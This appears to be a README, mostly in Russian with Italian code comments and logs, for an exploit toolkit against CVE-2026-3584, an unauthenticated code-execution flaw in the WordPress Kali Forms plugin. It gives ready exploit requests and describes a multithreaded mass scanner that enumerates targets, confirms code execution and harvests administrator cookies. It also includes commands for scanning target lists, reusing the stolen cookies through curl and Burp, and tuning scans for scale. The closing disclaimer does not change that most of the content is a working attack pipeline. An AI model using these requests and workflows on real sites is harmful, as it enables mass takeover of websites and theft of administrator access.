
CVE-2026-3584
🔥 Сводка об уязвимости
Плагин WordPress Kali Forms версий <= 2.4.9 содержит критическую уязвимость неаутентифицированного удалённого выполнения кода (RCE). Эта брешь позволяет неаутентифицированным атакующим выполнять произвольный PHP-код на сервере и получать полные права администратора через AJAX-эндпоинт kaliforms_form_process, открыто доступный без проверок авторизации.
Уязвимость находится в функции form_process, которая принимает контролируемые пользователем параметры (включая thisPermalink и entryCounter) и выполняет произвольные PHP-колбэки, что приводит к:
phpinfo(), system(), eval() и т.д.wp_set_auth_cookie() для получения административных сессийУязвимость проявляется в функции form_process плагина Kali Forms, которая обрабатывает AJAX-запросы. Уязвимый код доступен через:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
Схема эксплуатации:
Незащищённый эндпоинт: эндпоинт /wp-admin/admin-ajax.php?action=kaliforms_form_process доступен неаутентифицированным пользователям через хук wp_ajax_nopriv_.
Контролируемые пользователем параметры:
data[thisPermalink] — может содержать имя произвольной PHP-функцииdata[entryCounter] — может содержать имя произвольной PHP-функцииdata[formId] — ID обрабатываемой формыВыполнение нефильтрованных колбэков: Уязвимый код выполняет PHP-колбэки без валидации:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
Цепочка эксплойта:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
Пример уязвимого запроса:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
Результат: сервер выполняет phpinfo() и возвращает полную информацию о конфигурации PHP.
Для повышения привилегий:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
Результат: WordPress выполняет wp_set_auth_cookie(user_id), где user_id часто соответствует formId, формируя действительные cookie административной сессии.
mass_scanner.py реализует автоматизированный конвейер из 4 этапов для полной эксплуатации уязвимости CVE-2026-3584:
┌────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────‚
│ MASS SCANNER PIPELINE │
├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────¦
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1. Автоматическая нормализация URL
def normalize_url(self, target):
# Aggiunge automaticamente http:// o https://
# Prova prima HTTPS, poi fallback su HTTP
# Gestisce porte personalizzate (es. :8080)
2. Перечисление REST API
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Estrae tutti gli user_id disponibili
# Usato per mappare formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Estrae tutti i post_id disponibili
# Identifica sovrapposizioni user_id/post_id
3. Обнаружение форм (интеллектуальный краулинг)
def discover_pages(self, target, max_depth=2):
# Crawl ricorsivo del sito
# Cerca pattern JavaScript: 'KaliFormsObject'
# Filtra URL non necessari (js, css, immagini)
# Segue solo link interni
# Ritorna lista pagine con Kali Forms
4. Извлечение данных формы
def extract_form_data(self, page_url):
# Estrae nonce da JavaScript:
# KaliFormsObject = { ajax_nonce: "abc123" }
# Estrae formId da HTML:
# data-id="1" o [kaliform id="1"]
# Se nonce trovato ma no formId:
# Brute force ID 1-10
5. Тест RCE
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# Payload: data[thisPermalink]=phpinfo
# Verifica: len(response) > 10000 e 'PHP Version' presente
# Salva HTML completo per analisi
6. Тест повышения привилегий
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# Strategia intelligente:
# 1. Cerca sovrapposizioni user_id/post_id
# 2. Testa prima ID con alta probabilità successo
# 3. Fallback su ID comuni: 1,2,3,4,5
# Per ogni formId candidato:
# POST data[entryCounter]=wp_set_auth_cookie
# Estrae cookie: wordpress_logged_in + wordpress_sec
# Verifica: GET /wp-admin/ → no redirect
# Controlla: 'dashboard' in response
7. Многопоточность
# ThreadPoolExecutor per elaborazione parallela
# Thread-safe locks per scrittura risultati
# Salvataggio real-time (append mode)
# Statistiche globali con sync
8. Система автоматического резервного копирования
def backup_previous_results(self):
# Prima di ogni scan:
# result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
# result/ → result.20260325_120000.backup/
# result_cookie/ → result_cookie.20260325_120000.backup/
# Preserva tutti i dati storici
pip3 install requests beautifulsoup4
Создайте файл targets.txt с одной целью на строку (http/https необязателен):
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080
# Scansione con impostazioni predefinite (20 thread)
python3 mass_scanner.py targets.txt
# Scansione con thread personalizzati
python3 mass_scanner.py -t 10 targets.txt
# Scansione con numero massimo di thread
python3 mass_scanner.py --threads 50 targets.txt
======================================================================
SCANNER DI MASSA - CVE-2026-3584 Pipeline Completa
======================================================================
Obiettivi: 100
Thread: 20
Pipeline: Ricognizione → Scoperta Moduli → RCE → Escalation Privilegi
======================================================================
[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
[04:38:28] [INFO] https://target1.com: Avvio scansione...
[04:38:28] [INFO] https://target1.com: Fase 1: Enumerazione API REST...
[04:38:29] [INFO] https://target1.com: Trovati 3 utenti via API
[04:38:29] [INFO] https://target1.com: Trovati 5 post via API
[04:38:29] [INFO] https://target1.com: Fase 2: Scoperta moduli...
[04:38:31] [INFO] https://target1.com: Trovate 8 pagine con moduli
[04:38:31] [INFO] https://target1.com: Fase 3: Test RCE...
[04:38:31] [INFO] https://target1.com: Test modulo/i [1, 2, 3] con nonce 46aedbd3...
[04:38:32] [SUCCESS] https://target1.com: RCE SUCCESSO sul modulo 1!
[04:38:32] [INFO] https://target1.com: Salvato phpinfo in result/target1.com_form1_phpinfo.html
[04:38:32] [INFO] https://target1.com: Fase 4: Test escalation privilegi...
[04:38:33] [CRITICAL] https://target1.com: ESCALATION PRIVILEGI RIUSCITA con formId=1!
[04:38:33] [INFO] https://target1.com: Cookie salvato in result_cookie/target1.com.txt
[04:38:35] [INFO] https://target2.com: Avvio scansione...
[04:38:36] [INFO] https://target2.com: Fase 1: Enumerazione API REST...
[04:38:37] [WARN] https://target2.com: Nessun Kali Forms trovato
...
======================================================================
STATISTICHE SCANSIONE
======================================================================
Obiettivi totali: 100
Scansionati: 100
Vulnerabili: 45
- Solo RCE: 10
- Escalation Priv (CVSS10): 35
Falliti: 55
======================================================================
Risultati salvati:
- result_phpinfo.txt (RCE riuscito)
- result_yes_all.txt (RCE + Escalation Privilegi)
- result/*.html (Output phpinfo)
- result_cookie/*.txt (Richieste HTTP con cookie amministrativi)
======================================================================
/root/
├── result_phpinfo.txt # Lista obiettivi con RCE confermato
├── result_yes_all.txt # Lista obiettivi con accesso admin completo
├── result/ # File HTML phpinfo dettagliati
│ ├── target1.com_form1_phpinfo.html
│ ├── target2.org_form2_phpinfo.html
│ └── ...
└── result_cookie/ # Richieste HTTP con cookie amministrativi
├── target1.com.txt
├── target2.org.txt
└── ...
https://target1.com | Modulo: https://target1.com/contact | ID Modulo: 1 | Nonce: 46aedbd358 | File: result/target1.com_form1_phpinfo.html
https://target2.org | Modulo: https://target2.org/form | ID Modulo: 2 | Nonce: abc123def4 | File: result/target2.org_form2_phpinfo.html
======================================================================
OBIETTIVO: https://target1.com
TIMESTAMP: 2026-03-25T04:38:33.123456
======================================================================
RCE: SUCCESSO
URL Modulo: https://target1.com/contact
ID Modulo: 1
Nonce: 46aedbd358
phpinfo: result/target1.com_form1_phpinfo.html
ESCALATION PRIVILEGI: SUCCESSO (CVSS 10.0)
Exploit formId: 1
Cookie: wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
File Cookie: result_cookie/target1.com.txt
Impatto: Accesso amministrativo completo
COMANDI DI SFRUTTAMENTO:
Test RCE:
python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358
Escalation Privilegi:
python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358
======================================================================
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Этот формат готов к копированию и вставке непосредственно в Burp Suite Repeater или к использованию с curl.
Способ 1: Проверка с помощью curl
# Estrarre cookie dal file
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')
# Testare accesso amministrativo
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard
# Se output contiene "Dashboard" → Cookie funzionante!
Способ 2: Использование в Burp Suite
# Passo 1: Generare configurazione automatica (opzionale)
./burp_config_gen.sh result_cookie/target.com.txt
# Passo 2: Burp Suite → Proxy → Options → Match and Replace → Add
# Passo 3: Configurazione:
Type: Request header
Match: ^Cookie:.*$
Replace: Cookie: [INCOLLA_COOKIE_DA_FILE]
☑ Regex match
# Passo 4: Abilitare la regola (checkbox)
# Passo 5: Navigare a https://target.com/wp-admin/
# Risultato: Accesso amministratore immediato
Во время сканирования можно следить за результатами в реальном времени:
# Terminal 1: Esegui scanner
python3 mass_scanner.py targets.txt
# Terminal 2: Monitora risultati RCE
watch -n 2 'tail -20 result_phpinfo.txt'
# Terminal 3: Monitora escalation privilegi
watch -n 2 'tail -20 result_yes_all.txt'
# Terminal 4: Conta obiettivi vulnerabili
watch -n 5 'echo "RCE: $(wc -l < result_phpinfo.txt) | Admin: $(grep -c "ESCALATION PRIVILEGI: SUCCESSO" result_yes_all.txt)"'
Перед каждым новым сканированием сканер автоматически выполняет резервное копирование предыдущих результатов:
Scansione 1: [12:00]
result_phpinfo.txt
result_yes_all.txt
result/
result_cookie/
Scansione 2: [13:00] - Backup automatico!
[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
[*] Risultati precedenti salvati in: result_yes_all.txt.20260325_120000.backup
[*] File phpinfo precedenti salvati in: result.20260325_120000.backup/
[*] File cookie precedenti salvati in: result_cookie.20260325_120000.backup/
Tutti i dati precedenti sono preservati con timestamp!
Рекомендуемое количество потоков:
# Rete veloce, molti obiettivi
python3 mass_scanner.py -t 50 targets.txt
# Rete media, obiettivi moderati
python3 mass_scanner.py -t 20 targets.txt # (predefinito)
# Rete lenta o pochi obiettivi
python3 mass_scanner.py -t 10 targets.txt
# Test singolo (debug)
python3 mass_scanner.py -t 1 targets.txt
Ожидаемая производительность:
Проблема: не найдено ни одной уязвимой цели
# Verifica manuale che il sito abbia Kali Forms
curl -s https://target.com | grep -i "kaliforms"
# Se trovato, estrai nonce manualmente
curl -s https://target.com | grep -i "KaliFormsObject"
Проблема: частые тайм-ауты
# Riduci numero di thread
python3 mass_scanner.py -t 5 targets.txt
# O aumenta timeout modificando il codice (timeout=10 → timeout=30)
Проблема: cookie не работает
# Verifica validità cookie
python3 test_burp_persistent.sh http://target.com
# Se fallisce, rigenera cookie con:
python3 get_fresh_admin_cookie.py http://target.com [NONCE]
⚠️ ВАЖНО:
Эти информация и инструменты предоставляются исключительно в образовательных целях и для авторизованного тестирования безопасности.
Неавторизованный доступ или использование компьютерных систем является незаконным и неэтичным.
Авторы и участники этого репозитория не несут ответственности за любое неправомерное использование или ущерб, причинённый этими инструментами. Пользователи обязаны убедиться, что у них есть соответствующее разрешение перед тестированием любой системы.
Используйте ответственно и только с явного письменного разрешения.
CVE и рекомендации:
Уязвимый плагин:
CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 Critical
Исследования в области безопасности | Ответственная эксплуатация | Обучение кибербезопасности